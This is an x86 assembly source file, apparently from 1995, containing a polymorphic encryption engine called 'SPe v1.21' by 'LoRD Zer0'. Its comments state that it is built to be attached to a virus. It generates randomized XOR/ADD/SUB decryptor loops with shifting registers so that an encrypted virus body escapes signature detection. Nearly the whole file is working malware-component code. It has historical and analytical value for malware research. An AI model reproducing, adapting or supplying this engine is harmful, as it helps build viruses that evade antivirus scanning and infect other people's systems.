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Assembly Source File | 1995-04-16 | 5.1 KB | 300 lines

_Mov_reg = 0b8h _common = 80h _xor = 30h _add = 0h _sub = 28h _inc = 40h _dec = 48h _bxsi = 0 _bxdi = 1 _bpsi = 2 _bpdi = 3 _si = 4 _di = 5 _word = 6 _bx = 7 _ax = 0 _cx = 1 _dx = 2 _bx = 3 _sp = 4 _bp = 5 _si = 6 _di = 7 .MoDEL TiNY .RADiX 16 .CoDE org 100 Public Engine Start: ; ; LoRD Zer0's Simple Polymorphic Engine (SPe) v1.21 ; (C) Copyright 1994-95. ; ; The Engine is 419 bytes big. You need to encrypt your own code. It's not ; made by the engine. ; ; Entry: ; SI = offset to place decrypt loop in the file. ; ES:DI = offset of where to put new decrypt rutine ; CX = Virus size except engine ; ; Return: ; CX = Size ; AL = Key ; AH = 30h=XOR,00=ADD,28h=SUB ; DI = Pointer to buffer + CX ; DX = Total Size of Code to get Encrypted ; NOTE: Every register is DESTROYED! ; ; To creat: Engine proc far call begin begin: pop bp sub bp,offset begin push cs pop ds not_sp: call rnd_get and al,7 ; 0-7 cmp al,_sp ; It may cause problem with the stack if I may je not_sp ; Use SP. mov [V_size+bp],cx mov [set_reg+bp],0 mov [Counter+bp],al cmp al,_cx jne add_me mov [_cx_used+bp],ah test ah,1 jz oki add_me: inc si oki: call rnd_get test al,1 jnz not_reg ; Put the counter Later call put_reg ; Put it now. not_reg: new: call rnd_get and al,7 ;0-7 cmp al,6 ;We don't want to use xor byte ptr [offset],?? je new cmp al,7 ; [BX] je _7 cmp al,1 ; [BX+DI] je _1 cmp al,2 ; [BP+SI] je _2 cmp al,3 ; [BP+DI] je _3 cmp al,4 ; [SI] je _4 cmp al,5 ; [DI] je _5 _0: mov dx,0603h ;bx, si xor cl,cl ;[bx+si] jmp double_xor _1: mov dx,0703h ;bx, di mov cl,1 ;[bx+di] jmp double_xor _3: mov dx,0705h ;bp, si mov cl,3 ;[bp+di] jmp double_xor _4: mov dx,0406h ;num 4 si jmp single_xor _5: mov dx,0507h ;num 5 di jmp single_xor _7: mov dx,0703h ;num 7 bx jmp single_xor _2: mov dx,0605h ;bp, si mov cl,2 ;[bp+si] double_xor: cmp [Counter+bp],dl ; The reg is already in use as the Counter je new ; Jump back and get a new pointer. cmp [Counter+bp],dh ; The reg is already in use as the Counter je new ; Jump back and get a new pointer. mov al,_mov_reg ; 0B8h the begining of MOV REG,???? add al,dl ; stosb ; Save it. add si,0f ; The offset Top of encrypted code ; mov ??,????h ;3 bytes ; mov ??,????h ;3 bytes ; mov ??,????h ;3 bytes ; Xor_it: ; ??? byte ptr [??+??],?? ;3 byte ; inc ?? ;1 byte ; Loop xor_it ;2 bytes or ; dec ?? ;1 byte ; jnz xorit ;2 bytes Split_it: call rnd_get ; Get random number xor ah,ah ; 0 - 255 ; This rutine is used to Split the toec address sub si,ax ; Split xchg si,ax ; get it in AX stosw ; Save the first value. mov al,dh ; Get next REG to use add al,_mov_reg stosb ; second reg to use. xchg si,ax ; Get it in AX stosw ; Save the second pointer call put_reg ; Put Counter if we havn't done it already. call choose_byte add ah,cl mov al,80 ; 80 = ??? BYTE PTR [???],byte stosw ; Save new_num: call rnd_get cmp al,0 je new_num ; Used to get a encrypt Value.. mov [key+bp],al ; Save the key. stosb mov cx,0Fh ; decrypt code Size mov al,_inc test ah,1 jnz not_this add al,dl jmp _don not_this: add al,dh _don: stosb cmp [Counter+bp],_cx jne easy test [_cx_used+bp],1 ; is cx used ? jnz easy mov ax,0FAE2h ;Loop $-6 jmp _done easy: mov al,_dec add al,[Counter+bp] stosb inc cx ; there is one byte more mov ax,0F975h ;JNZ $-7 _done: stosw mov al,[key+bp] mov ah,[what+bp] mov dx,[V_size+bp] add dx,Engine_size retn db 'SPe v1.21 by LoRD Zer0',0 single_xor: cmp [Counter+bp],dl jne newa jmp new newa: mov al,_mov_reg add al,dl stosb add si,0c xchg si,ax stosw call put_reg call choose_byte add ah,dh mov al,80 ;xor byte ptr [di] stosw call rnd_get mov [key+bp],al stosb mov cx,0c mov al,_inc add al,dl jmp _don ; Choose either ADD,SUB or XOR choose_byte: push dx push ax call rnd_get xchg ax,dx pop ax test dl,00000001b jz mabye_add mov ah,28 ; 28 = SUB jmp doo mabye_add: test dl,00000010b jz do_xor xor ah,ah jmp doo do_xor: mov ah,30 ; 30+CL = xor [??+??] doo: mov [bp+what],ah pop dx retn ; Put Counter reg. ; Entry: None ; Return: None put_reg: push dx push cx cmp [set_reg+bp],0 jne done_reg call rnd_get xchg dx,ax mov al,_mov_reg add al,[Counter+bp] stosb db 0B8h ;MOV AX, V_size dw 0 ;Main _virus Size add ax,Engine_size and dh,2 ;dx 0 -1023 add ax,dx stosw mov [set_reg+bp],'0' done_reg: pop cx pop dx retn ; Get Random Number ; Entry: None ; Return: AX = Random number rnd_get: push cx push dx mov ah,2c int 21 in al,40 xchg ah,al in al,40 xor ah,cl xor ax,dx pop dx pop cx retn what db ? ; XOR,ADD or SUB _cx_used db ? ; Check if CX is used set_reg db ? ; Have we already set Counter reg key db ? ; Encrypt Key. Counter db ? ; REG used as counter Engine_size equ $-offset start ; The size Engine endp end start